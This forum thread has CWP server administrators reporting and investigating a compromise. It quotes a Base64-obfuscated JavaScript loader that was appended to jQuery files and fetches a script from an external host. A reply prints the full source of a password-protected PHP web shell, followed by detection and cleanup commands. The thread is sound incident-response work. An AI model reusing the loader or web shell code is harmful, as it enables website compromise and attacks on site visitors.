Possible CWP Security Issue – Malicious JavaScript Injection

Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.

I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is

Code: [Select]

<?php
if(!isset($_POST["password"]) or md5($_POST["password"])!=="70f54a5fc83847180f948a889f12960d"){
    http_response_code(404);
    die;
}
$action_pwd_gan = isset($_POST["action_pwd_gan"]) ? $_POST["action_pwd_gan"] : "";
if ($action_pwd_gan === "dir") {
    header("Content-Type: application/json");
    $dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty($dir)) {
        $dir = ".";
    }
    if (is_dir($dir)) {
        echo json_encode(["status" => "success", "files" => scandir($dir)]);
    } else {
        echo json_encode(["status" => "error", "message" => "Directory not found"]);
    }
}elseif ($action_pwd_gan === "upload") {
    header("Content-Type: application/json");
    $dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
    if (empty($dir)) {
        $dir = ".";
    }
    if (isset($_REQUEST["file"])) {
        $file_name = $_REQUEST["file"];
        if (!is_dir($dir)) {
        }
        $file_path = $dir . DIRECTORY_SEPARATOR . $file_name;
        if (file_put_contents($file_path, base64_decode($_REQUEST["content"]))) {
            echo json_encode(["status" => "success", "message" => "File uploaded successfully", "file" => $file_name]);
        } else {
            echo json_encode(["status" => "error", "message" => "Failed to save file"]);
        }
    } else {
        echo json_encode(["status" => "error", "message" => "No file data provided"]);
    }
}elseif ($action_pwd_gan === "include") {
    include($_POST["dir"]);
}
?>

I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.

Check to see if you have this file. Or unpatched wordpress set up.

ico.php file code is
(...)

Yes, this file is **100% malicious**. It is a **web shell (backdoor)** that allows an attacker to remotely control parts of the server. Unfortunately, I found it on my server as well.

The file was disguised within the CWP admin panel's images folder (`/usr/local/cwpsrv/htdocs/admin/design/img/ico.php`) in an attempt to go undetected.

**What this malicious code does:**

* **Password Protection:** Requires a password via a `POST` parameter (validated against the MD5 hash `70f54a5fc83847180f948a889f12960d`). If the password is incorrect or missing, it simulates a `404 Not Found` error to fool basic scans.

* **File Listing (`action_pwd_gan = dir`):** Allows the attacker to navigate server directories and list all existing files.

* **File Upload (`action_pwd_gan = upload`):** Allows the attacker to upload new malicious files or overwrite existing files on the server using `base64` encoding.

* **Code Inclusion (`action_pwd_gan = include`):** Arbitrarily executes other PHP files on the server using the `include()` function. ---

**Immediate Removal and Mitigation Actions:**

1. **Remove the file immediately:**

Code: [Select]

chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/
rm -f /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/

2. **Check for other files modified or created in the same folder:**

Code: [Select]

ls -lat /usr/local/cwpsrv/htdocs/admin/design/img/
I scanned my server logs and found no calls to it; however, if the server is compromised, the log entry might have been removed.
But I did find calls to it elsewhere under different names, so look for these names as well:

Code: [Select]

locate ico.php bico.php nico.phpIf you find any, take the same measures.

3. **Change all critical passwords:**
* Linux `root` user password.
* CWP panel access password.
* MySQL database and email user passwords. 4. **Inspect the server logs to understand the source of the intrusion:**
Look for access requests to the `ico.php` file in the panel logs to identify the attacker's IP address:

Code: [Select]

zgrep "ico.php" /usr/local/cwpsrv/logs/access_log*
zgrep "ico.php" /usr/local/cwpsrv/logs/error_log*

5. **Update CWP and system packages:**
Older CWP vulnerabilities are often exploited to inject this type of file into the `/usr/local/cwpsrv/` directory. Keep both the panel and the operating system fully up to date.

Thanks for sharing this information.

I checked my server for /usr/local/cwpsrv/htdocs/admin/design/img/ico.php, but that file does not exist on my server.

I also checked my WordPress installations. They were updated on August 11, and the first wp2shell attempts appeared on August 12. Therefore, I do not have any unpatched or outdated WordPress installations that match this scenario.

So, at least in my case, neither of these appears to be the source of the compromise.

Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?

Please advise the following:

What distro are you running CWP on?

What web server are you using? Apache or Nginx?
The version of web server?

What PHP version?

Was the affected site using WordPress?
If so, what version?

Looking for advice here:

When I looked at these two cwp server logfiles:

 /usr/local/cwpsrv/logs/access_log*
/usr/local/cwpsrv/logs/error_log*

The access_log was over 3 gbs in size.

I scanned through these and saw no malicious offenders...I keep th cwp browser open all the time and I could see periodic updates into the file.

Looks like these have grown over the years, and it appears that they are on no log rotation.

Is it safe to delete these two periodically on my own?

Please advise the following:

What distro are you running CWP on?

What web server are you using? Apache or Nginx?
The version of web server?

What PHP version?

Was the affected site using WordPress?
If so, what version?

Sure, here are the details:

1. Operating System:
   CentOS 7

2. Web Server:
   Nginx & Apache

Additional Options:
php-cgi/suPHP, nginx/php-fpm, apache/php-fpm, proxy

3. Web Server Versions:
   Apache 2.4.57
   suPHP 0.7.2
   Nginx 1.26.1

4. PHP Version:
   The default PHP version is 7.4.33, but all websites are running PHP 8.3.21.

5. Affected Websites:
   There are approximately 20 websites on this server.

The affected websites included:

* 2 WordPress websites
* 1 HTML website
* 5 custom-built websites
* Several subdomains

So this was not limited to WordPress websites.

6. WordPress Versions:

The two affected WordPress installations were:

* WordPress 6.8.8 — updated on August 12 at 17:52:28
* WordPress 6.9.7 — updated on August 12 at 19:19:48

For comparison, the following WordPress installations on the same server were not affected:

* WordPress 7.0.4 — updated on August 12 at 18:03:26
* WordPress 7.0.4 — updated on August 12 at 18:39:09
* WordPress 7.1 — updated on August 20 at 02:52:42
* WordPress 7.1 — updated on August 20 at 12:19:19
* WordPress 7.1 — updated on August 24 at 10:26:25

The malicious modifications were observed on August 13, while the affected WordPress installations had already been updated on August 12.

Also, since non-WordPress and custom websites were affected as well, I believe there may be another common attack vector involved.

One additional point: this is a private server and nobody other than myself has access to it.

I also noticed that the modification timestamps of the affected files were identical. This was not limited to the jQuery files of a single website; the jQuery files across the other affected websites had the same modification time as well. This makes me suspect that the modification may have been triggered from a single point and then propagated to other websites.

The WordPress installations initially looked suspicious, but the other affected websites use completely different custom infrastructures, and some of them do not even have an administrative panel. Therefore, it would not be possible to inject the code through those websites themselves.

I would also like to ask other CWP users, especially those running AlmaLinux 9 with all current updates, to check their jQuery files for the same injection. If this is a CWP-related issue, checking different operating systems and fully updated CWP installations may help identify the common attack vector.

Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?

I am running PHP 8.3.21 for the affected websites.

The disable_functions setting in the relevant php.ini is:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec

These functions are currently disabled.

The access_log was over 3 gbs in size.
...
Is it safe to delete these two periodically on my own?

My advice:

Code: [Select]

truncate -s0 /usr/local/cwpsrv/logs/access_log
truncate -s0 /usr/local/cwpsrv/logs/error_logThen look at File Management >  Logrotate Manager and add a rotation job for those files.